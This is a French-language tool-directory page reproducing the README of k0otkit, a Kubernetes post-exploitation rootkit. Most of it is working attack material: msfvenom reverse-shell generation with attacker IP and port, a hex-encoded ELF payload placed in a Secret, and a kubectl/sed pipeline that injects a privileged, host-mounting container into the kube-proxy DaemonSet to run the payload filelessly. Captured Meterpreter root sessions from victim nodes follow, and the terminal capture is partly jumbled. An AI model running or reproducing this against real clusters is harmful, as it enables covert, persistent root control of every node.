Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
k0otkit — k0otkit est une technique universelle de post-pénétration qui peut être utilisée dans les pénétrations contre les clusters Kubernetes. | Kitploit
Outils/GitHubGitHub/metarget/k0otkit
Sécurité des ConteneursGénération de PayloadsRétro-ingénieriePost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingÉvasion de Conteneur
GitHubmetarget/k0otkit

k0otkit

k0otkit est une technique universelle de post-pénétration qui peut être utilisée dans les pénétrations contre les clusters Kubernetes.

Voir le dépôt
3005154il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

k0otkit - Manipuler K8s à la manière K8s

Introduction

k0otkit est une technique universelle de post-pénétration pouvant être utilisée dans les pénétrations contre les clusters Kubernetes.

Avec k0otkit, vous pouvez manipuler tous les nœuds du cluster Kubernetes cible de manière rapide, discrète et continue (reverse shell).

k0otkit est la combinaison de Kubernetes et rootkit.

Prérequis :

k0otkit est un outil de post-pénétration, vous devez donc d'abord conquérir un cluster, réussir d'une manière ou d'une autre à vous échapper du conteneur et obtenir le privilège root du nœud maître (pour être exact, vous devez obtenir le privilège admin du Kubernetes cible).

Scénario :

  1. Après une pénétration Web, vous obtenez un shell de la cible.
  2. Si nécessaire, vous parvenez à élever les privilèges et y parvenez.
  3. Vous découvrez que l'environnement cible est un conteneur (Pod) dans un cluster Kubernetes.
  4. Vous parvenez à vous échapper du conteneur et y réussissez (avec CVE-2016-5195, CVE-2019-5736, docker.sock ou d'autres techniques).
  5. Vous obtenez un shell root du nœud maître et êtes capable d'instruire le cluster avec kubectl sur le nœud maître en tant qu'admin.
  6. Maintenant vous voulez contrôler tous les nœuds du cluster aussi rapidement que possible. Voici k0otkit !

k0otkit est détaillé dans k0otkit : Pirater K8s à la manière K8s.

Utilisation

Assurez-vous d'avoir obtenu le shell root sur le nœud maître du Kubernetes cible. (Vous pouvez également utiliser k0otkit si vous avez le privilège admin du Kubernetes cible, bien que vous deviez peut-être modifier la commande kubectl dans k0otkit_template.sh pour utiliser le token ou le certificat.)

Assurez-vous d'avoir installé Metasploit sur votre hôte attaquant (msfvenom et msfconsole doivent être disponibles).

Déployer k0otkit

Clonez ce dépôt :

root@kitploit:~
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Remplacez l'IP et le port de l'attaquant dans pre_exp.sh par votre propre IP et port :

root@kitploit:~
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Générer k0otkit :

root@kitploit:~
./pre_exp.sh

k0otkit.sh sera généré. Ensuite, exécutez le gestionnaire de reverse shell :

root@kitploit:~
./handle_multi_reverse_shell.sh

Une fois le gestionnaire prêt, copiez le contenu de k0otkit.sh et collez-le dans votre shell sur le nœud maître du Kubernetes cible, puis appuyez sur <Entrée> pour l'exécuter.

Attendez un moment et profitez des reverse shells de tous les nœuds :)

P.S. Il n'y a pas de limite au nombre de clusters Kubernetes que vous manipulez avec k0otkit.

Interagir avec les Shells

Après le déploiement réussi de k0otkit, vous pouvez interagir avec n'importe quel reverse shell comme vous le souhaitez :

root@kitploit:~
# dans msfconsole
sessions 1

Fonctionnalités

  • utiliser les ressources et fonctionnalités de K8s (pirater K8s à la manière K8s)
  • injection dynamique de conteneurs
  • chiffrement des communications (grâce à Meterpreter)
  • sans fichier

Exemple

Générer k0otkit :

root@kitploit:~
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p lin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4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Exécuter le gestionnaire de reverse shell :

root@kitploit:~
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copiez le contenu de k0otkit.sh dans votre shell sur le nœud maître du Kubernetes cible et appuyez sur <Entrée> :

root@kitploit:~
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/

root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: $secret_name
>   namespace: kube-system
> type: Opaque
> data:
>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
>   | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

Attendez les reverse shells :

root@kitploit:~
msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

Fonction 1 Sortie et Reconnexion :

root@kitploit:~
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

Fonction 2 Échappement vers et Contrôle du Nœud :

root@kitploit:~
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin
40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot
40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev
40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc
40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home
100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img
100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old
40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64
40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt
40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt
40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc
40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root
40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run
40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin
40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv
40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys
41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp
40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr
40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var
100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz
100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old
Télécharger l’outil